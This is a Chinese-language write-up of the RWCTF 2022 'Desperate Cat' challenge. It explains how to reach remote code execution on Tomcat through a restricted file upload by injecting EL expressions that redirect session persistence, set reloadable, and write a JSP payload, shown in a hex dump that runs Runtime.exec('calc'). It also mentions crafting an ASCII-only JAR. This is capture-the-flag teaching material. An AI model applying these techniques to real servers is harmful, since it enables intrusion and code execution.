RWCTF 2022 Desperate Cat

分析

WriteUp

题目背景：文件上传，可控制路径和文件类型，文件内容会被写入脏数据和进行HTML转义

> 1. 服务端中间件是 Tomcat，可以往 Tomcat Web 目录下写文件：
> 2. 写入的文件名后缀可控、没有检查；
> 3. 写入的文件名前缀不可控，会被替换为随机字符串；
> 4. 可指定文件的写入目录，且写入文件时如果文件所在的目录不存在，会递归进行父目录的创建；
> 5. 写入的文件内容部分可控，且以字符串编码的形式写入（而非直接传递的字节流），并且前后有脏数据；
> 6. 写入的文件内容里如下特殊字符被进行 HTML 转义：
>   - & -> &
>   - < -> <
>   - ' -> '
>   - > -> '
>   - " -> "
>   - (-> (
>   -) ->)

预期解

默认配置下，Tomcat 在关闭服务的时候，会将用户 session 中的数据以序列化的形式持久存储到本地

```
aced 0005 7372 0011 6a61 7661 2e6c 616e  ....sr..java.lan
672e 496e 7465 6765 7212 e2a0 a4f7 8187  g.Integer.......
3802 0001 4900 0576 616c 7565 7872 0010  8...I..valuexr..
6a61 7661 2e6c 616e 672e 4e75 6d62 6572  java.lang.Number
86ac 951d 0b94 e08b 0200 0078 7000 0000  ...........xp...
0173 7200 0e6a 6176 612e 6c61 6e67 2e4c  .sr..java.lang.L
6f6e 673b 8be4 90cc 8f23 df02 0001 4a00  ong;.....#....J.
0576 616c 7565 7871 007e 0001 0000 0189  .valuexq.~......
d413 5756 7371 007e 0003 0000 0189 d413  ..WVsq.~........
57c1 7371 007e 0000 0000 0708 7372 0011  W.sq.~......sr..
6a61 7661 2e6c 616e 672e 426f 6f6c 6561  java.lang.Boolea
6ecd 2072 80d5 9cfa ee02 0001 5a00 0576  n. r........Z..v
616c 7565 7870 0073 7100 7e00 0701 7371  aluexp.sq.~...sq
007e 0003 0000 0189 d413 57c1 7400 2046  .~........W.t. F
4436 3743 3445 3944 3834 3837 4445 4436  D67C4E9D8487DED6
3743 3142 3143 3433 3642 4337 3041 4370  7C1B1C436BC70ACp
7071 007e 0002 7400 0668 6163 6b65 7274  pq.~..t..hackert
0025 3c25 5275 6e74 696d 652e 6765 7452  .%<%Runtime.getR
756e 7469 6d65 2829 2e65 7865 6328 2763  untime().exec('c
616c 6327 2925 3e0d 0a                   alc')%>..
```

通过上传EL表达式文件，访问后执行

```
<!--修改session文件存储路径-->
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
<!--写入session-->
${sessionScope[param.b]=param.c}
```

通过reload触发session持久化

```
<!--设置reloadable为true-->
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
```

reloadable	Set to `true` if you want Catalina to monitor classes in `/WEB-INF/classes/` and `/WEB-INF/lib` for changes, and automatically reload the web application if a change is detected. This feature is very useful during application development, but it requires significant runtime overhead and is not recommended for use on deployed production applications. That's why the default setting for this attribute is *false*. You can use the Manager web application, however, to trigger reloads of deployed applications on demand.

非预期

构造出所有字节都在 0-127 范围内、且不出现被转义字符的特殊 Jar 包，使得即使前后都有脏数据、且内容以字符串编码形式被写入，Java 仍然会认为它是一个有效的 Jar 包 (参考连接)